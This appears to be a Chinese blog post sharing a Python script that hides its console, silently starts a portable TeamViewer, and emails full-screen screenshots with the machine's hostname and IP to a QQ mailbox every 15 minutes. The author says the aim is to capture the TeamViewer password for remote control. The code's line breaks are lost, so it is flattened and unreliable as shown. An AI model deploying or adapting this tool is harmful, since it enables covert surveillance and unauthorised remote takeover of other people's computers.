【Python学习】截图当前电脑并发送到qq邮箱

来源:互联网 发布:无法进入linux系统 编辑:程序博客网 时间:2024/06/09 20:06

使用python制作截图当前屏幕并邮件发送到邮箱

import time,shutilimport os, win32gui, win32ui, win32con, win32apiimport smtplibimport socketimport poplibfrom email.parser import Parserfrom email.header import decode_headerfrom email.utils import parseaddrfrom email.mime.text import MIMETextfrom email.mime.multipart import MIMEMultipartfrom email.mime.base import MIMEBasefrom email.header import Headerfrom email import encoders#调用win32截图def window_capture():hwnd = 0hwndDC = win32gui.GetWindowDC(hwnd)mfcDC=win32ui.CreateDCFromHandle(hwndDC)saveDC=mfcDC.CreateCompatibleDC()saveBitMap = win32ui.CreateBitmap()MoniterDev=win32api.EnumDisplayMonitors(None,None)w = MoniterDev[0][2][2]h = MoniterDev[0][2][3]saveBitMap.CreateCompatibleBitmap(mfcDC, w, h)saveDC.SelectObject(saveBitMap)saveDC.BitBlt((0,0),(w, h) , mfcDC, (0,0), win32con.SRCCOPY)cc = time.gmtime()bmpname = str(cc[0])+str(cc[1])+str(cc[2])+str(cc[3]+8)+str(cc[4])+str(cc[5])+'.jpg'saveBitMap.SaveBitmapFile(saveDC, bmpname)return bmpname#保存截图并更换地址def save_image():#显示窗口image_path = os.getcwd()print('获取执行文件位置成功')Closewindow()image_name = window_capture()Closewindow()print('截图成功并保存完毕')print('执行文件位置为:%s' % image_path)print('截图文件名称为:%s' % image_name)new_image = image_path + '\\' + image_nameprint('截图保存地址为 %s' % new_image)return new_image#构建Emaildef SendMail(image_path='C:\\a.txt',subject='Screenshot Successful'):#Email基本信息encoding = 'utf-8'me = 'xxx@qq.com'authcode = 'password'fMail = metMail = me#Email标题cc = time.gmtime()timeinformation = str(cc[0])+'-'+str(cc[1])+'-'+str(cc[2])+' '+str(cc[3]+8)+':'+str(cc[4])+':'+str(cc[5])ComputerName = socket.gethostname()ComputerIP = socket.gethostbyname(ComputerName)sub = timeinformation+' '+subject+' from '+ComputerName+' '+ComputerIP#Email正文content = timeinformation+' '+subject+' from '+ComputerName+' '+ComputerIP#Email信息装入msg = MIMEMultipart()msg.attach(MIMEText(content.encode(encoding), 'plain', encoding))msg['From'] = fMailmsg['To'] = tMailmsg['Subject'] = Header(sub, encoding)#Email附件if image_path.split('.')[-1] == 'jpg':with open(image_path,'rb') as f:image_name = os.path.split(image_path)[-1]mime = MIMEBase('image','jpg',filename = image_name)mime.add_header('Content-Disposition', 'attachment', filename=image_name)mime.add_header('Content-ID', '<0>')mime.add_header('X-Attachment-Id', '0')mime.set_payload(f.read())encoders.encode_base64(mime)msg.attach(mime)#登陆SMTP服务器server = smtplib.SMTP_SSL('smtp.qq.com', 465)server.login(me, authcode)print('邮件登陆成功,登录名为:%s' % me)print('附件截图上传当中,请勿关闭...')server.sendmail(fMail, tMail, msg.as_string())print('邮件发送成功')print('邮件发送地址为:%s' % me)print('邮件发送标题为:%s' % sub)print('邮件发送内容为:%s' % content)server.quit()os.remove(image_path)print('截图删除成功')def AcceptMail():host = "pop.qq.com"username = "XXX@qq.com"password = "password"pp = poplib.POP3_SSL(host)pp.set_debuglevel(1)pp.user(username)pp.pass_(password)ret = pp.retr(1)print(ret)def Closewindow(ShowNo=0):#最小化窗口ct = win32api.GetConsoleTitle()   hd = win32gui.FindWindow(0,ct)  win32gui.ShowWindow(hd,ShowNo)def SendScreenGo():win32api.ShellExecute(0, 'open', r'C:\TeamViewerPortable\TeamViewer.exe', '', '', 0)print('打开软件成功')print('等待60秒')time.sleep(60)SendMail(save_image())def Gotimes():times = 1while True:print('-' * 20)print('执行第%s次' % (times))SendScreenGo()Closewindow()times += 1time.sleep(900)if __name__ == "__main__":try:#AcceptMail()Closewindow()Gotimes()Closewindow()except:SendMail(subject='Screenshot Fail')
其中截图的目的是为了能够获取teamvivwer打开出来后的密码,然后远程控制电脑。实际上该代码还有待改进。

0 0
原创粉丝点击